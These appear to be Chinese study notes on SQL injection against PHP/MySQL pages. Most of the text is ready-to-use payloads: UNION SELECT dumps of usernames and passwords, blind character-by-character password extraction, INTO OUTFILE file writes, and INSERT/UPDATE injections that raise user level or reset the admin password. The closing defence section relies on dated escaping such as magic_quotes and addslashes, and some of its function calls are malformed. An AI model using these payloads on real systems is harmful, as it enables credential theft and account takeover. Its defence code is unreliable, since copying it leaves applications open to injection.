sql注入的重点就是构造sql语句，只有灵活的运用sql
语句才能构造出牛比的注入字符串。学完之后写了点笔记，已备随时使用。希望你在看下面内容时先了
解sql的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询：
http://127.0.0.1/injection/user.PHP?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.PHP?username=angel' and LEFT(password,1)='m Union联合语句：
http://127.0.0.1/injection/show.PHP?id=1' union select 1,username,password from user/
http://127.0.0.1/injection/show.PHP?id=' union select 1,password from user/ 导出文件：
http://127.0.0.1/injection/user.PHP?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.PHP?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.PHP?id=' union select 1,password from user into outfile 'c:/user.txt INSERT语句：
INSERT INTO user (userid,password,homepage,userlevel) VALUES ('','$username','$password','$homepage','1');
构造homepage值为：http://4ngel.net','3')#
sql语句变为：INSERT INTO user (userid,'angel','mypass','http://4ngel.net','3')#','1'); UPDATE语句：我喜欢这样个东西
先理解这句sql
UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id='$id'
如果此sql被修改成以下形式，就实现了注入
1：修改homepage值为
http://4ngel.net',userlevel='3
之后sql语句变为
UPDATE user SET password='mypass',homepage='http://4ngel.net',userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后sql语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',homepage='$homepage' WHERE id='$id'
3：修改id值为
' OR username='admin'
之后sql语句变为
UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id='' OR username='admin' ===高级部分===
常用的MysqL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.PHP?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,108) 相当于angel，十进制
http://127.0.0.1/injection/user.PHP?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.PHP?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.PHP?userid=1 and ord(mid(password,3,1))>111 确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.PHP?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.PHP?id=-1 union select char(97),char(97),char(97) 猜数据表名
http://127.0.0.1/injection/show.PHP?id=-1 union select 1,1 from members 跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.PHP?id=10000 union select 1,1 from ymdown_user where id=1 其他
#验证第一位密码
http://127.0.0.1/ymdown/show.PHP?id=10 union select 1,1 from ymdown_user where id=1 and ord(mid(password,1))=49 ===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = strreplace("","_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
sql语句参数中要添加单引号
下面代码，用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = MysqL_real_escape_string($str);
$keywords = strreplace("",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
MysqL_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章：
http://www.4ngel.net/article/36.htm (sql Injection with MysqL)中文
http://www.PHPe.net/MysqL_manual/06-4.html（MysqL语句参考）